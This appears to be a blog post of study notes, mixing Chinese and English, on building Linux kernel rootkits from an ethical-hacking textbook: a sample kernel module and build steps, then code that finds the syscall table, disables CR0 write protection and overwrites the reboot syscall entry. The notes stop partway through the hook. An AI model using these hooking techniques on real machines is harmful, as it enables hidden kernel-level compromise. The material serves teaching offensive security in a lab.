Ethical.Hacking.2021.10:BUILDING AND INSTALLING LINUX ROOTKITS

备份Kali

写 kernel module code

That’s because the Linux kernel is
written in C, so kernel modules must also be written in C. Secondly,
we won’t be able to use the standard C libraries (such as unistd, stdio,
and stdlib), because user space libraries are not available in kernel
mode. 

Another difference between most programs you may have written
and kernel modules is that kernel modules are event driven. 

Every kernel module must respond to two events: module_init() and
module_exit(). The module_init() event occurs when you add the module
to the kernel, and the module_exit() event occurs when you remove the
module from the kernel.

create a Desktop folder called lkm_rootkit, and
create two empty files, hello.c and Makefile, by running the following
command:

kali@kali:~/Desktop/lkm_rootkit$ touch hello.c Makefile

copy the following into hello.c:

#include <linux/module.h>
#include <linux/kernel.h>
➊ static int startup(void){
➋ printk(➌ KERN_NOTICE "Hello, Kernel Reporting for Duty!\n");
return 0;
}
➍ static void shutdown(void){
printk(KERN_NOTICE "Bye bye!\n");
}
➎ module_init(startup);
➏ module_exit(shutdown);
MODULE_LICENSE("GPL")

Each log entry is associated with a log-level flag (for example,
KERN_NOTICE ➌). 

 The MODULE_LICENSE tag is required for all
Linux kernel modules. In this case, we are using the GNU General
Public License (GPL).

Compiling and Running Your Kernel Module

Open Makefile in your favorite text editor, copy in the following, and then save the file:

➊ obj-m += hello.o
all:
➋ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Make sure that you have the Linux headers installed:

 sudo apt install linux-headers-$(uname -r)

Then, run the make command in the lkm_rootkit directory to start
the build process:

kali@kali:~/Desktop/lkm_rootkit$ make
make -C /lib/modules/5.4.0-kali4-amd64/build M=/home/kali/lkm_rootkit modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-kali4-amd64'
CC [M] /home/kali/lkm_rootkit/hello.o
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/kali/lkm_rootkit/hello.mod.o
LD [M] /home/kali/lkm_rootkit/hello.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-kali4-amd64'

Next, run the following command to insert your Linux kernel
module into the kernel:

kali@kali:~/Desktop/lkm_rootkit$ sudo insmod hello.ko

Each time you insert the module into the kernel, the Linux
operating system will call the __init function. This module uses the
printk() function to write the message Hello, Kernel Reporting for Duty! to
the kernel logs /var/log/syslog and /var/log/kern.log. The kernel also
includes these messages in the kernel ring buffer, which is a circular
queue into which the kernel inserts messages it generates. Run the
dmesg command to view the messages:

kali@kali:~/Desktop/lkm_rootkit$ sudo dmesg | grep 'Hello'
[ 2396.487566] Hello, Kernel Reporting for Duty!

kali@kali:~/Desktop/lkm_rootkit$ sudo dmesg | tail

Use the lsmod command to view a list of all loaded kernel modules:

kali@kali:~/Desktop/lkm_rootkit$ sudo lsmod

Use the rmmod command to remove your Linux kernel module:

kali@kali:~/Desktop/lkm_rootkit$ sudo rmmod hello

You can find further details about building Linux kernel modules
at https://tldp.org/LDP/lkmpg/2.6/html/lkmpg.html.


修改系统调用

Switching to privileged mode requires special permissions, or privilege levels,
which are stored in the last two bits of a special register called the code segment (CS) register. 

Intel processors have four privilege levels: 3, 2, 1, and 0.
Privilege level 3 is used by user programs, privilege levels 2 and 1
are used by device drivers, and privilege level 0 is used by the
kernel. However, in practice, modern systems use only level 0
(kernel mode) and level 3 (user mode). The processor will only fetch
a memory section if the CS register’s privilege level allows it. 

To see a list of syscalls and their corresponding system call
numbers, look at the unistd_64.h or unistd_32.h file on your system

sudo find / -iname unistd_64.h

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h

 Hooking Syscalls

Hooking is the process of overriding an entry in the system call table with a new
pointer to the attacker’s function.

 Hooking the Shutdown Syscall

Let’s begin by finding the address of the system call table in
memory. You can usually get this address using the kernel’s
kallsyms_lookup_name function; however, techniques for locating the
system call table will vary depending on the kernel’s version. 

Linux kernel version 5.7

Copy the following C code to below the #include statements in
your hello.c module:

unsigned long *sys_call_table_address = kallsyms_lookup_name("sys_call_table");

The write-protect flag is stored in the 17th bit of the Intel x86_64
processor’s 32-bit control register (cr0). The Linux kernel implements
a function called write_cr0, which writes a value to the cr0 register.
Instead of using this predefined Linux function, whose functionality
varies depending on whether it is run in a virtual environment, we’ll
write a function called my_write_cr0 that explicitly executes assembly
instructions to set the cr0 register:

static long my_write_cr0(long value) {
__asm__ volatile("mov %0, %%cr0" :: "r"(value) : "memory");
}

Now we can disable the WP flag by bitwise AND-ing (&) the
register with a negation (~) of 0x10000. This effectively sets the flag’s
current value to 0:

#define disable_write_protection() my_write_cr0(read_cr0() & (~0x10000);

Then we can reenable write protection; that is, set the bit back to
one, by computing the bitwise OR between the register and the
value 0x10000:

#define enable_write_protection()({my_write_cr0(read_cr0() | (0x10000));})

Now let’s write the C function that will allow our kernel module to
hook the system call table:

static void hook_reboot_sys_call(void *new_function){
➊ old_reboot_sys_call = sys_call_table_address[__NR_reboot];
disable_write_protection();
➋ sys_call_table_address[__NR_reboot] = (unsigned long)new_function;
enable_write_protection();
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值